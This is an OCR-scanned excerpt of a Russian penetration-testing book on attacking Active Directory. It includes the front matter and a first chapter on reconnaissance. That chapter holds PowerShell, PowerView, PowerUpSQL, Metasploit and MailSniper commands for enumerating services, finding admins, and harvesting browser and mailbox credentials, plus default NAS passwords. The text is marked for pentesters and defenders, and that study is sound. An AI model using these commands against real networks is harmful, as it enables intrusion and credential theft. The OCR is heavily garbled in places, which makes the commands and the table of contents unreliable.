Автор: Hacker R.
Теги: качество систем и программ компьютерные технологии программирование программное обеспечение компьютерные науки информационная безопасность хакинг издательство бхв петербург
ISBN: 978-5-9775-6783-1
Год: 2021
Ralf Hacker
Active
Directory
глазами
Санкт-Петербург
«
БХВ-Петербург»
2021
УДК 004.056.53
ББК
32.973.26-018.2
Р20
Р20
RalfHacker
Active Directory глазами хакера. - СПб.: БХВ-Петербург, 2021. -
176 с.: ил. - (Глазами хакера)
ISBN 978-5-9775-6783-1
Рассмотрена архитекrура системы безопасности Active Directory. Приведены
сведения об используемом хакерами инструментарии. Последовательно и подроб
но описываются все этапы атаки на домен глазами злоумышленника: поиск уязви
мостей и разведка в атакуемой сети, повышение привилегий, боковое реремеще
ние, поиск и сбор критически важных данных. Описаны способы противодействия
обнаружению атаки с применением различных инструментальных средств. Рас
сматриваются методы сохранения доступа к скомпрометированной сети как
с помощью сторонних инструментов, так и с использованием групповых политик
домена.
Для пентестеров, специалистов по информационной безопасности
и системных администраторов
ББК
УДК 004.056.53
32.973.26-01 8..2
Группа подготовки издания:
Руководитель проекта
ПавелШалин
Зав.редакцией
Людмила Гауль
Компьютерная верстка
Ольги Сергиенко
Дизайн серии
Марины Дамбиевой
Оформление обложки
Карины Соловьевой
Подписано в печать 01.06.21.
Печать офсетная. Усл. печ. л. 14,19.
Тираж 1000 экз. Заказ № 1329.
"БХВ-Петербург", 191036, Санкт-Петербург, Гончарная ул" 20.
Формат
70х1001/1е.
Отпечатано с готового оригинал-макета;
ООО "Принт-М", 142300, М.О" г. Чехов, ул. Полиграфистов, д.
ISBN
978-5-9775-6783-1
1
© RalfHacker, 2021
©Оформление. ООО "БХВ-Петербург", ООО "БХВ", 2021
Оглавление
Введение ...........
.
. . ............... ...................... ................................ ... ... . . ... ... ... ..... ...... 7
.
.
.
Для кого эта книга?
Что вы найдете в этой книге?
Условные обозначения
.
.
.
.
.................................. ............................ ..........
.
.
.
.
.
.
.
.
"............................................. 7
.
........................................ ................................................................
.
................................... ................................................................................
8
8
1 . Ра;1ведка в Active Directory. Получаем пользовательские данные
в сетях Windows без привилегий . ... . ... .... . . ........... ........ ............ ... .,. ...................... 9
Сканирование SPN
..
.
9
Глава
.
.
.
.
.
.
.
.
.
.
......................................... . .......... ....................................................................
Сбор данных
Общие ресурсы
Базы данных
...................................................................................................................................
.
.... . . ...............................................................................................................
.
............................................. .............................................................................
Network Attached Storage
.
.
............................................. ............................................. ...........
11
11
12
13
Пользовательские дан.ные при наличии привилегий
13
Учетные данные пользователей
.
..
"....... " .... 13
Локальные данные "".."................................................................................."......"..13
Пользовательские файлы
.
:....................................14
Microsoft Exchange и Outlook при наличии привилегий . "..".....""..".."""........"."..".."15
"....."."...."....""."""""".....""......"...""".."" ......"............".."".16
Учетные данные."" . .
Учетные записи администраторов домена
16
Скрытая учетная запись администратора
.
.
17
Группы Active Directory
..
�
"".. " .. ".19
Информация из локальных групп Active Directory
"...."".".."""""""""..........."..""......."...20
..........................................................
....................·....... ................. . ...................
...
..... ..................................................
.. ..
..... ..... ........
..........................................................................
........ ....... ...........................................................
. . ................... . ........""..." .. "" ............... " ... """"".
"..................
......
Local Administrator Password Solution
....
""""""...""............."..""."""".."""".".. "..... "............. 21
AppLocker ......................................:................................................................................................ 23
Azure Active Directory
.
...................
Глава
.
.
.......................................................... ........................... ......................... ...
Сценарий синхронизации паролей
Сценарий сШIХронизации каталога
24
"....."......................"........""........................".....24
.
.
.............................. ..................................................... ........
2. Актуальные методы повышения привилегий
.26
""""""""""""""""""""
29
Пароли из SYSVOL и GPP
...."..............."""....."..""""".."""""."".".................................... 29
Учетные данные в SYSVOL
" ... "...... 29
Настройки групповой п�литики .
30
."."
.....................................................................................
. .........................................................................................
Оглавление
4
DNSAdmins
.
........................................................................................ ............................................
32
Делегирование Kerberos
.
: ..................33
Неограниченное делегирование
.
35
Ограниченное делегирование
..
.
.
37
Ограниченное делегирование на основе ресурсов
39
Небезопасные права доступа к объекту групповой политики
.
.40
Небезопасные права доступа ACL
.-...............................................................42
Доменные трасты
.
.
.
44
.............................................................. ..............................
.................... ......................................................................
...................... . .................. ................... ...............................
..............................................................
..................................... ............
...............................
..... ...................................................... ............................ .................................
DCShadow
Exchange
.
.
.
.
47
.......................................... .......... .............. ..................... ............................................
.
.
...................................................................................... ...................... ...........................
Sysadmin SQL Server
..........
49
"...........................................................................".............................51
·
Глава 3. Боковое перемещение в Active Directory .................................................. 53
Техника Lateral Movement через ссылки Microsoft SQL Server"
53
Введение в ссылки
" ...............".".......................................................".."........."............. 53
Схема эксплуатации изнутри сети
.
.
.
"...............................".......... "".. 55
Схема эксплуатации извне
.
. . """""..." .... "................................."""."56
Как автоматизировать обнаружение пути эксплуатации"" .
.
""...........".... 57
...............................................
.......
...... ....... ............... .......
.............. ................ ... .
. ................... .....
Pass-the-hash
............................................
System Center Configuration Manager
:................................................................... ".................60
.................
Windows Server Update Services .
. .........
"..""".......................... """................."."" ......... 65
"." .... "..............................."......."""..................."........... 70
о wsus .........".. "......... "...............................................".............................".""...""... ""..... 10
Атака на WSUS
Распыление паролей
Автоматизация Lateral Movement
.
.
........................................ ......... ......
.
.
."""" ....."."".................".:...: .........".". 73
.
.
.................................. ............. ............. .................... .................................
GoFetch
.
.74
."...""".......".............".......................................... 75
.
.
.
............................................... .... ...... ................ ......................................................
ANGRYPUPPY
DeathStar
Заключение
...................
.
.
76
. ""..."........................................................................76
...................... ............ ..
.
..
.
... ....... ..... . ................................................ ............................................................
.
. .
.
.................................. ............................ ... ................. ...............................................
Глава 4. Уклоняемся от обнаружения при атаке на домен......
.
76
77
................... .... ... 79
.
.
Уклонение от сканеров памяти
.
"".".........................79
Уклонение от EDR
. ..
.
.
"".......................... 81
СJ<рываем работу mimikatz
.
. 81
Уклоняемся от правила «родительский-дочерний процесс>> в макросах
офисных документов
"....................... 83
1. Уклонение от прямого анализа потомков . .""..".. "....................... ".... "..........."83
2. Уклонение за счет запланированных задач
: ................... 84
3. Работа с реестром
.
.
84
4. Соз.Щlние файлов
.
, ..................................................... 84
5. Загрузка данных
85
6. Встраивание в макрос
..
"""..............." .............85
..... ...............................................................
............................. .. . ......................... ................ .............
.......................... ....................................................................... .
....................................................................................
. ....
........................................
...................... ........ .....................................................................
............................. ...................
........................................................................................................
........................................... . .............
OPSEC
.............................................................................................................................................
85
Уклонение от обнаружения АТА ....".."..."......""""""...".."..".........................:................""."86
Разведка
.
.
""" ".................."................. 87
"
...................................................... ......................... .....
Brute force
.
. .""""".............. "."""........"....."..."..": ................................ 88
....................... ...... ...
Overpass-The-Hash
Golden Ticket
.......................
"." .."."........................ ".................................................... 88
......................................................
Что не обнаруживается с помощью АТА .
".................................."......................"...... 89
. "..............."."...."........................ 90
..................... .
5
Оглавление
Глава
5. Защита от детекта в Active Directory ......................................................... 91
.
.
91
Обход журналирования PowerShell ScriptBlock
Уклонение от регистрации Sysmon
.
92
Уклонение от Honeytoken ......................................................................................." ..................... 94
Обход AppLocker
.
.
97
Перечисление правил AppLocker ......: .................................................................................. 97
Обход правила хеша файлов
.
98
Обход правила пути
99
99
Обход правила издателя
:
.
:.................................. 100
Техника LOLBas
1_
.
, ............................................... 100
Uбход PowerShell AMSI
............................... ................................... ......
.................... .........................................................................
........... ......................................................... ....................................... ..............
....................... ........................... ..............................................
...............................................................................................................
······························ ·········································································
....... ..............................................................
...................................................... .......
Глава
6. Поиск критически важных данных при атаке на домен ..................... 105
.
Работа с ntds.dit .
Получение данных аутентификации без взаимодействия с LSASS
... ............. ........................ ..................................................................................
LLMNR/NBT-NS Poisoning
Kerberoasting
.
AS-REP Roasting
DCSync
........................................
.
105
109
111
: ................................ 113
116
118
. ..
120
122
.
. 123
.............................................. ..................... ................... ..................
.
.
.............. ............................................... ......... ......................
. ....
.
................... ............................. .. . . . ........... .................................. ..................
..........................................................................................................................................
Получение открытого пароля с помощью DCSync
.
Хранилище паролей Windows
.
.
ПО, использующее DPAPI
.
1. В контексте целевого пользователя
.
..
2. В контексте администратора с активной сессией целевого пользователя
3. В контексте администратора без сессии целевого пользователя .
4. Административный доступ к контроллеру домена
Диспетчер учетных данных
.
............ ........................... ... . ....................
.................... .......................................... ....................................
...................... ............................................ ........................... ..
................................. ......................... . .................
..................
... .............................
.......................................................
.
.
......................................................................................... ...... ... ...
124
125
127
127
130
Глава ·7. Сохранение доступа при атаке на домен ................................................ 133
Kerberos Golden Tickets
. .
133
Ticketer
. :............................................................................................................... 136
Mimikatz
.
. , ............... 137
Meterpreter
.
.
.
138
�
: ............................................................ 139
Kerberos Silver Ticket
Ticketer
.
.
.
141
Mimikirtz
.
..
..
142
SIDHistory
..
.
. ..
.
142
.
, ................................................ 145
Golden Ticket + SIDHistory .
AdminSDHolder
.
147
DCShadow
.
.
.
149
....................................................... . .....................................................
.............. ...
................................................................................................. .............
··········· ········································· ........................... ..................... ....... ............
,
......................................................
........... ........................................................................... ............... ....·......................
........... .............. . ........................
.........................................................................
.................................................. . ...... ......................... .
................................... ........
. .......... ............................................
........................ ...................................................................................................
............. .............................................. ............ ...... ....................... ..............................
Глава
8. Используем групповые политики, чтобы сохранить доступ
к домену ......................... . ... .......................... . ................................................................. 153
Объекты групповой политикu
.
..
153
SeEnaЫeDelegationPrivilege
.
.
157
Security Support Provider
.
.
158
Списки доступа и дескриmоры безопасности
.
160
Directory Services Restore Mode
.
163
Skeleton Кеу
: .......................... 166
........... ............................................................................... . ......
........................................... ........................................ ...................
..................................... ........................................ ...............................
............................................................. ............
...................................................... ...........................................
.................................................................................... ....................
Предметный указатель
.............................................................................................. 169
Введение
Локальные сети, работающие под управлением Active Directory, получили широкое
распространение в последние несколько десятилетий. Использование сетевой ин
фраструктуры с контроллером домена чрезвычайно удобно, поскольку позволяет
системным администраторам гибко настраивать привилегии, разрешения, ограни
чения, а также ПQ.Литики для всех пользователей сети, централизовать управление
полномочиями, общими ресурсами, резервным копированием. Но популярность
технологии неизбежно влечет за собой интерес к ней со стороны хакеров, стремя
щихся проникнуть в сеть с различными целями - включая использование ском
прометированных ресурсов и хищение критической информации.
В этой книге рассматривается архитектура сетей с Active Directory глазами практи
кующего пентестера, хорошо осведомленного о слабых местах и актуальных уяз
вимостях подобных систем. Рассматриваются практические приемы взлома Active
Directory, закрепления в сети, бокового перемещения, поиска и сбора конфиденци
альных данных, а также обхода средств обнаружения и защиты. Рассматриваются
популярные инструменты хакеров, средства и приложения, по:}воляющие облегчить
или автоматизировать процесс взлома сетей с Active Directory и сохранения досту
па к ним в последующем. Читатель изучит структуру механизмов защиты Active
Directiry, освоит приемы повышения безопасности сетей и контроллера домена.
Для кого эта книга?
Эта книга будет незаменима для системных администраторов, пентестеров, специа
листов в области защиты данных и инженеров по информационной безопасности.
Это не уче_бник по взлому, а профессиональный взгляд на проблему безопасности
Active Directiry с точки зрения практикующего исследователя Red Team, специали
зирующегося на изучении защищенности сетей.
ВНИМАНИЕ/
Вся информация в этой книге предоставлена исключительно в ознакомительных це
лях. Автор и редак ция не несут ответственности за любой возможн ый вред, причинен
ный с использован ием сведен ий из этой книги.
в
Введение
Книга предназначена для тех, кто желает лучше обезопасить свой сетевой периметр
от вторжений, получить исчерпывающее представление о возможных векторах
атак, а также найти эффективные способы противодействия им. Материалы книги
помогут пентестерам освоить самый современный инструментарий для тестирова
ния защищенности сетевых периметров и в подробностях изучить методологию
этого тестирования.
Что вы найдете в этой кни ге?
1 посвящена методам разведки в Active Directory, способам изучения
сетевой инфраструктуры и поиска уязвимых мест для сбора учетных данных.
L1 Глава
LI В главе 2 перечислены актуальные методы повышения привилегий в Active
Directory.
LI Глава 3 рассказывает о боковом перемещении в Active Directory.
LI Главы 4 и 5 повествуют о способах уклонения от обнаружения в скомпромети
рованных сетях Active Directory и методах обхода средств детектирования атак.
LI Глава 6 посвящена способам поиска критически важных данных на скомпроме
тированных ресурсах при атаке на домен.
LI В главах 7 и 8 читатель найдет информацию о путях сохранения доступа при
атаке на домен с использованием как различных сторонних инструментов, так и
встроенных групповых политик.
Условные обозначения
В книге принят ряд условных обозначений, призванных облегчить читателю изуче
ние материала. Моноширинный шрифт cornmand идентифицирует вводимые пользо
вателем команды, имен� файлов, каталогов или управляющие символы. Курсив ис
пользуется для выделения понятий и терминов, а полужирный шрифт вьщеляет
ключевые слова, адреса URL и элементы интерфейса. Некоторые полезные сведе
ния, не относящиеся напрямую к рассматриваемому в тексте вопросу, но способ
ные представлять определенный интерес для читателя, вынесены в примечания.
ГЛАВА 1
Разведка в Active Directory.
Получаем пользовательские данные
в сетях Windows без привилегий
Представьте, что кто-то проводит атаку на корпоративную сеть Windows. Вначале
у злоумышленника либо мало привилегий в домене, либо их вовсе нет. Поэтому
искать учетные записи и службы он будет без повышенных привилегий, т. е. не от
имени ащшнистратора домена или локального администратора. О том, как произ
водится разведка в среде Active Directory, мы и поговорим.
Рассмотренные в данной главе примеры применимы для следующих версий
Windows: 7, 8, 1 0, Server 2008, Server 20 1 2 и Server 20 1 6; другие мы не проверяли.
Также для работы примерvв в системе должен быть установлен PowerShell с ука
занными модулями.
Сканирование SPN
Когда нужно повысить привилегии, злоумышленники обычно используют учетные
записи служб, поскольку у таких учеток больше прав, но нет �трогой политики
смены пароля через заданный промежуток времени. То есть если скомпрометиро
вать их, то потом можно долго оставаться незамеченным.
Service Principal Names (SPN) - идентификаторы служб, запущенных на доменной
машине. Не зная их, вы не сможете искать службы; которые используют проверку
подлинности KerЬeros.
SРN-строка имеет такой формат:
SPN=11serviceclass11 /11hostname [ : port] 11 [ / 11 servicename 11]
L] serviceclass - строка, которая идентифицирует класс службы, например ldap -
идентификатор для службы каталогов;
L] нostname - строка, где указывается полное доменное имя системы, а иногда и
порт;
10
Глава 1
- строка, которая представляет собой уникальное имя (DN), GUID
объекта или полностью определенное доменное имя (FQDN) службы· .
О servicename
SPN уникальный в пределах леса. Когда компьютер добавляют в домен; у его учет
ной записи автоматически указывается host SPN, что позволяет службам на этой
машине запускаться из-под локальных учетных записей, таких как Local System и
Network Service.
Сканирование SPN - это первое, что обычно делает злоумышленник или пенте
стер при поиске служб в среде Active Directory. Основное преимущество этого ме
тода по сравнению со сканированием сетевых портов в том, что не требуется взаи
модействие с каждым узлом сети для проверки служебных портов. Сканирование
SPN позволяет обнаружить службы с помощью запросов LDAP к контроллеру
домена. Так как запросы SPN - нормальное поведение проверки подлинности
Kerberos, этот способ сканирования обнаружить очень сложно (даже почти нере
ально), в отличие от сканирования портов.
Выполнить сканирование SPN можно с помощью скрипта на PowerShell (рис. 1 . 1 ):
https://github.com/PyroTek3/PowerShell-AD-Recon/ЬloЬ/master/Discover
PSMSSQLServers.
Рис. 1.1.
Результат работы скрипта для серверов Microsoft SQL
Разведка в Active Directory. Получаем пользовательские данные в сетях Windows
11
Наиболее интересные службы:
L1 SQL (MSSQLSvc/adsmsSQLAPOl.ads.org: 1 433);
L] Exchange (exchangeМDB/adsmsEXCASO 1 .ads.org);
L1 RDP (TERМSERV/adsmsEXCASOl .adsecuri�.org);
L1 WSMan / WinRМ / PS Remoting (WSMAN/adsmsEXCASO 1 .ads.org);
L] Hyper-V (Microsoft Virtual Console Service/adsmsНVOl .ady.org);
L] VMware VCenter (STS/adsmsVCOl.ads.org).
Хочу поделиться с вами и еще одним интересным скриптом, который покажет все
SPN для всех пользователей и всех компьютеров (рис. 1 .2).
$search = New-Obj ect DirectoryServices . DirectorySearcher ( [ADSI ] " " )
$search . filter = " ( servicePrincipalName=* ) "
$results = $search . Findall ( )
foreach ( $ result in $result s ) {
$userEntry = $result . GetDirectoryEntry ( )
Write-host "Object Name
=
" $userEntry . name -bac kgroundcolor
"yellow" -foregroundcolor "Ыасk"
Write-host " DN
Write-host "Obj ect Cat.
"
"
$userEntry . dist inguishedName
$userEntry. objectCategory
Write-host "servicePrincipalNames"
$i=l
foreach ( $ SPN in $userEntry . servicePrincipalName )
{
Write-host "SPN ( " $i " )
" $SPN
$i+=l
}
Write-host " "
Сбор данн ых
Общие ресурсы
В среде Active Directory часто используются сетевые папки и файловые серверы.
Эти команды отобразят список общих ресурсов на локальном хаете, список сете
вых компьютеров и список шар на удаленном компьютере:
> net share
> net view
> net view COMPUTER NАМЕ /all
Но что же делать, если политика безопасности запрещает использовать сетевые
команды? В этом случае нас выручит wmic. Список общих ресурсов на локальном
хаете и список общих ресурсов на удаленном компьютере можно посмотреть с по
мощью следующих команд:
Глава 1
12
> wmic share get /forrnat : l ist
> wmic /node : COMPUTER_NAМE share get
Полезный инструмент для поиска данных - PowerView
(https://github.com/
. Он автоматиче
ски обнаруживает сетевые ресурсы. и файловые серверы с помощью команд Find
PowerShellMafia/PowerSploit/ЫoЬ/master/Recon/PowerView.psl )
DomainShare ИGet-DomainFileServer.
Кстати, PowerView встроен в фреймворк PowerShell Empire
и представлен двумя модулями:
(https://github.com/
EmpireProject/Empire)
(J situational_awareness /network/powerview/share_ finder;
(J situational_awareness /network/powerview/get_ fileserver.
Базы данных
В среде Active Directory, как правило, несколько серверов баз данных. PowerUpSQL отличный инстр)тмент для обнаружения и перечисления серверов Microsoft SQL и
атак на них.
Найти все локальные экземпляры SQL можно командой:
> Get-SQLinstanceLocal -Verbose
Чтобы найти все экземпляры SQL в сети или домене, используй команды:
> Get-SQLinstanceDomain -Verbose
> Get-SQLinstanceBroadcast -Verbose
> Get-SQLinstanceScanUDP �verbose
После поиска собираем информацию об экземплярах SQL: Локальных:
> Get-SQLinstanceLocal 1 Get-SQLServerinfo
И удаленных:
> Get-SQLServerinfo -Instance "COMPUTER NАМЕ"
Когда мы нашли все экземпляры SQL и собрали информацию о них, мы можем:
(J получить список экземпляров SQL, в которые разрешен вход текущему пользо
вателю домена:
> Get-SQLinstanceDomain -Verbose 1 Get-SQLConnectionTestThreaded -Verbose -Threads 1 0
(J попытаться получить права администратора для экземпляра SQL:
> Invoke-SQLEscalatePriv -Verbose - I nstance " COMPUTER_NAМE "
(J перечислить экземпляры SQL по всему домену с использованием паролей по
умолчанию:
> Get-SQLinstanceDomain -Verbose
Get-SQLServerLoginDefaultPw -Verbose
(J сдампить информацию о SQL Server и базе данных в файлы CSV или ХМL:
> I nvoke-SQLDumpinfo -Verbose -Instance " COMPUTER NАМЕ"
Разведка в Active Directory. Получаем пользовательские данные в сетях Windows
О
13
запустить функции аудита для сервера SQL:
> Invoke-SQLAudit -Verbose - Instance "COMPUTER NАМЕ"
Network Attac hed Storage
Ne�ork Attached Storage (NAS) - сервер для хранения данных на файловом уров
не. Поскольку там сложены файлы, нередко это и есть цель злоумышленника. NAS
не нужна полноценная операционка, поэтому на них часто ставят FreeNAS или
NAS4Free на базе FreeBSD. Большинство NAS можно администрировать через веб
или SSH. В таком случае следует перебрать дефолтные связки логин - пароль. Вот
пятерка самых распространенных:
О
admin:admin;
О
admin:password;
О
root:nasadmin;
О
nasadmin:nasadmin;
О
admin:"no pass".
Пользовательские данные при наличии привилегий
Учетные данные пользователей
Для охоты на пользователей отлично подходит BloodHound (https://github.com/
инструмент для активного поиска каталогов.
BloodHoundAD/ВloodHound) -
Определить, где конкретный пользователь или группа пользователей вошли в сис
тему, можно с помощью команд PowerView и модуля PowerShell Empire:
> Find-DomainUserLocation -Userldentity USER_NAМE
> Find-DomainUserLocation -UserGroupldentity GROUP_NAМE
situational awarenes s /network/powe rview/user_hunter
_
Локальные данные
После компрометации учетных данных пользователей появляется много возможно
стей: запись на рабочий стол, получение картинки с веб-камеры, сброс паролей,
установка кейлоггеров. Большая часть этих возможностей автоматизирована в ин
струментах Metasploit Framework, PowerShell Empire и Cobalt Strike.
Многие пользователи позволяют браузерам сохранять свои пароли. И часто мы ис
пользуем одни и те же пароли для разных сервисов, так что найденные в браузере
пароли нам еще, скорее всего, пригодятся.
Вот модули Metasploit, которые помогают в этом:
О post /windows / ga ther /enum chrome
_
О post/multi/gather/firefox_creds
Глава 1
14
L] post/ firefox/gather/cookies
L] post/firefox/gather/passwords
L] post/windows/gather/forensics /browser_history
Модули PowerShell Empire:
L] collection/ChromeDшnp
L] collection/FoxDшnp
Вытащить пароли можно и вручную. Для этого сохраните профиль браузера, им
портируйте его на вирrуальную машину, откройте браузер и посмотрите пароли.
Файлы профилей Firefox лежат в C : \Users \TARGET\AppData \Roarning\Mozilla\ Firefox\
Profiles, а профилей Google Chrome - в C : \Users \TARGET\AppData\Local\Google\Chrome\
u ser Data \Default. Чтобы узнать данные удаленного досrупа, можно использовать
модуль Metasploit post /windows /gather/enшn_putty_ saved_ sess ions или модули Empire
collection/netripper и credentials/sessiongopher.
Пользовательские срайлы
Часто цель атакующего - это пользовательские файлы. Для их поиска есть очень
удобный скриm на PowerShell - WМimplant (https://github.com/FortyNorthSecurity/
WMimplant). Он позволяет использовать фильтры (рис. 1 .2). Например, чтобы
найти файл с именем wmimplant, выполним команды:
> $ fi lefilter = " Filenarne = ' wmimplant ' AND Drive= ' C : ' "
> Get-WМIObject -Class CIM_Datafile -filter $filefilter
Рис. 1.2.
Поиск файла wmimplant на диске С: с использованием WMlmplant
Разведка в Active Directory. Получаем пользовательские данные в сетях Windows
15
Также можно настроить фильтр по расширению файла (рис. 1.3).
> $fi lefilter = "Extensios = ' ps l ' AND Drive= ' C : '"
> Get-WМIObject -Class CIM Datafile -filter $ filefi lter
Рис. 1.3.
Поиск файлов *.ps.1 на диске С: с использованием WMlmplant
Для поиска файлов на удаленной машине указывайте для
Get-wмroьject
параметр
-ComputerNarne.
Microsoft Exchange и Outloo k
...
при наличии привилегии
Если у злоумышленника есть учетные данные пользователей, то почтовые ящики,
считай, тоже скомпрометированы. Если вы выступаете на атакующей стороне, от
крывайте панель Outlook и делайте запросы, по которым могут найтись полезные
данные. Например, логин, пароль, password, pass, credentials, vpn, ssh, root, confident ial.
Этот процесс можно автоматизировать при помощи инструмента MailSniper
(https://github.com/dafthack/МailSniper). Для автоматического обнаружения целе
вого сервера Exchange и поиска в почтовом ящике user@exarnple . сот используйте та
кую команду:
> Invoke-Sel fSearch -OutputCsv local-results . csv -Mailbox user@ example . com
Если ящик известен, то такую:
> Invoke-Sel fSearch -Remote -ExchHos tnarne outloo k . office365 . com -OutputCsv
local-result s . csv -Ma ilbox user@ exarnple . com
Если у вас уже есть права администратора Exchange, можно искать по всем почто
вым ящика!\\ :
Глава 1
16
> Invoke-GlobalMailSearch - ImpersonationAccount TARGET USER -ExchНostname
ExchOl -OutputCsv global-results . csv
Учетные данные
Учетные записи администраторов домена
Существует два эффективных метода искать учетные записи с повышенными пра
вами в Active Directory. Первый - стандартный метод перечисления групп, ко
торый идентифицирует всех членов обычных групп администраторов Active
Directory. В большинстве. организаций есть пользовательские группы адмшшстра
торов - схемы именования могуr быть разными, но если искать по слову admin,
то, скорее всего, не промахнетесь:
> get-adgroup -fi lter (GroupCategory -eq ' Security ' -AND Name - l i ke " admin" }
Dist inguishedName : CN=Server Admin s , OU=AD Management, DC=lab, DC=adsecurity, DC=org
GroupCategory : Security
GroupScope : Global
Name : Server Admins
Obj ectClass : group
ObjectGUID : 387 7 c3 1 1 -932 1 - 4 1 c0-a 6b5-c0d88684b335
SamAccountName : ServerAdmins
S I D : S-l-5-2 1 - 1581 655573-3923512380-69 6647894-2628
Второй метод - искать учетки, у которых атрибут AdminCount равен единице:
> get-aduser -filter (AdminCount -eq 1 } -Properties
Name, AdminCount, ServicePrincipa lName , MemЬerOf
AdminCount
1
DistinguishedName
CN=ADSAdministrator, CN=Users , DC=lab, DC=ads , DC=org
EnaЬled
True
MemЬerOf
(CN=Admini strators, CN=Builtin, DC=lab, DC=ads , DC=org,
CN=Schema Admins , CN=Users , DC=lab, DC=ads , DC=org, CN=Group
Policy Creator Owners , CN=Users , DC=lab, DC=ads , DC=org, CN=Enterprise
Admins , CN=Users , DC=lab, DC=ads;DC=org ... }
Name
ADSAdministrator
Obj_ e ctClass
user
ObjectGUID
72ac7731- 0a76-4e5a-8e5d-b4ded9a304b5
SamAccountName
ADSAdministratoi
SID
S - l -5-21- 1581 65557 3-39235 1 2 380-696647894-500
Surname
UserPrincipalName . .
Имейте в виду, что в числе прочего вы получите учетки, у которых прав админи
стратора нет. Дело в том, что это значение не сбрасывается автоматически после
удаления учетной записи из групп администраторов.
Разведка в Active Directory. Получаем пользовательские да нные в сетях Windows
17
Скрытая учетная за пись администратора
Скрытая учетная запись администратора - это учетная запись домена, которая
предоставляет администратору доступ к контроллеру домена, серверу обмена или
серверу баз данных. Но эта запись не принадлежит к привиЛегированным группам
Active Directory, т. е. администраторам домена. Разрешения для таких учеток на
значаются напрямую с помощью списков контроля доступа (ACL) для объектов
Active Directory.
Часто это учетные записи служб. Они обычно имеют доступ к нескольким систе
мам в среде. При этом такие учетки не получают столько же внимания и таких же
строгих политик безопасности, как администраторы домена. В результате они ста
новятся главной целью злоумышленников при «двиЖении вбок» или повышении
привилегий.
Для поиска скрытых учетных записей администратора используйте тулзу
BloodHound . (https://github.com/ВloodHoundAD/ВloodHQund). Полную инструк
цию по установке этого инструмента можно найти в вики проекта (https://
github.com/ВloodHoundAD/ВloodHound/wiki/Getting-started).
После настройки базы данных и входа в веб-интерфейс BloodHound можно начи
нать собирать данные Active Directory с помощью BloodHound PowerShell
(рис. 1.4). Вот как запустить команды для поиска доменов в лесу и сохранить CSV
в указанную папку:
>
. . \SharpHound . psl
> Invoke-BloodНound -SearchForest -CSVFolder C : \Users\PuЬlic
1\
Pre-Built Analytics Queries
flind Shottмt P.11h•\O�Ad�
,.:"4 loэgod in .;.т...
"
-
• � � LOQ/Di$11:� ' UwJ • PtAlfic: � lf\.�
1.-----�·
..... ,...,
... eo..wofltJ
��.;:б
F!nd:T�10U..•wt�Мoflt�"'
f�11!$t� 10CмiA.dto1•�1 �;tSщ.uюм
FtnOTcp\OUsien"With�L�AdmmR;gt>t•
Fmdtop10�..,.,,...... -
,#...к
-8
. ......
!
"
ф
Nмм
-': �::�_�:щ��� ����-�
_ ==- ···-��-:s._
__
,
____
"
__
4'со�
41.LOJ:.МD!it(Q
�"'"* ·�t,;<����·1«.11.,�.UI?
Рис. 1.4.
...
[A11f4et('.,
...
J
�; """" )
+
Результат работы BloodHound PowerShell
После загрузки файла у вас есть большой выбор дальнейших действий. Можно
просмотреть всех администраторов домена, глянуть список пользователей с права
ми локальных администраторов, определить машины с правами администраторов
и многое другое (рис. 1.5).
18
Глава
Node lnfo
Database lnfo
-Flnd ё!I Oomaln Adm1ns
Flnd Shortest Paths to OomaJn Admins
r
Find logged in admins
Flnd Тор 10 Usets wtth Мost SessJons
Flnd Тор 10 Computers with Most Sesslons
Flnd Тор 10 Users wtth Мost local Admin Rights
Find Тор 10 Computers with Most Admins
Userз with Foreign Domaln Group Мembership
Groups with Foreign Domain Group Membership
Мар Domaln Truзts
Рис.
1 .5. Запросы BloodHound
1
Ouerles
1
Таким образом, при просмотре «карты доверительных отношений» и «10 пользова
телей с большинством прав локальных администраторов» мы сможем определить
учетные записи, которые имеют доступ к большинству систем, а также узнать,
существуют ли двусторонние отношения доверия между внешними доменами, ко
торые могли бы расширить круг доступных ресурсов.
Другой способ найти скрытые учетные записи администратора:-- поиск контрол
лера домена.
1 . Ищем группу Domain Controllers.
2. Выбираем «Прямые участники» в разделе «Участники группы»: там отобра
жены все узлы системы контроллера домена в этой группе.
3 . Ткнув на один из узлов системы в разделе «Местные администраторы», выби
раем «Производные локальные администраторы» (рис. 1.6).
Как видите, есть две учетные записи, которые имеют локальный доступ админист
ратора к контроллеру домена. Они не входят в группу «Администраторы домена».
---
......
..
... _
7 f
Groцp Memь....hipt
-----�--
lacal Admin Rigllts
__ ._._
....... ....,.. ...... _
..........
...
...
OUtЬound oЬject comrol
------Рис.
1.6. BloodHound - локальные администраторы
Разведка в Active Directory. Получаем пользователь ские данные в сетях Windows
19
Поздравляю, мы только что обнаружили две скрытые учетные записи администра
тора!
Групп ы Active Directory
Группы Active Directory бывают двух типов.
1.
используются для списков рассьmки электронной
почты и не могут служить для контроля доступа к ресурсам, поэтому они нам
неинтересны.
Группы распространенш� -
2. Группы безопас�ости
могут применяться
в списки контроля доступа.
-
для
контроля доступа и добавлены
Независимо от того, к какому типу относится группа, она задается битом в свойстве
groupType.
Группы безопасности могут иметь одну из трех областей действия. Область дейст
вия группы влияет на то, какие типы групповых объектов могут быть добавлены
в нее и в какие другие группы группа может быть вложена.
1.
могут быть вложены в локальные группы домена, универ
сальные группы и другие глобальные группы в одном домене.
Глобш�ьные группы
2. Универсш�ьные группы могут бьпь вложены в локальные группы домена и дру
гие универсальные группы в любом домене.
3.
Локш�ьнШl группа домена
не может бьпь вложена в глобальную или универсаль-
ную группу.
Найти все группы какого-то типа можно с помощью PowerView (рис. 1 .7).
l:J Get-DomainGroup -GroupScope DomainLocal
-
l:J Get-DomainGroup -GroupScope NotDomainLocal
l:J Get-DomainGroup -GroupScope Global
-
l:J Get-:-DomainGroup -GroupScope 'NotGlobal
найти локальные группы;
-
найти нелокальные группы;
найти глобальные группь1;
-
найти неглобальнЪ1е группы;
l:J Get-Doma inGroup -GroupScope Universal - найти универсальные группы;
l:J Get-Doma inGroup -GroupScope NotUniversal
-
найти неуниверсальные группы;
l:J Get-pomainGroup -GroupProperty Security- найти группы безопасности;
PS С:\! ools> Get -Uomдi11Gгoщ) -Ргорегt j es sr1mrкcoш1t11<1me. gгощJ lype --GгoщJScope U11
iverstl]
sr;mlteCO!ll) tname
g1·oщJtype
Scl1ema fl<im iпs
Enteгpгise Пdmins
[nteгpгise Read-oп]y Uomain Contгolleгs
Seгveгflclm i ns
Рис.
UNIVERSШ. SCOPE.
UNTVERSШ SCOPE.
UNIVERSAL=SCOPE.
UNIVERSAL_SCOPE.
1.7. Пример поиска всех универсальных rpynn в текущем домене
SECURITY
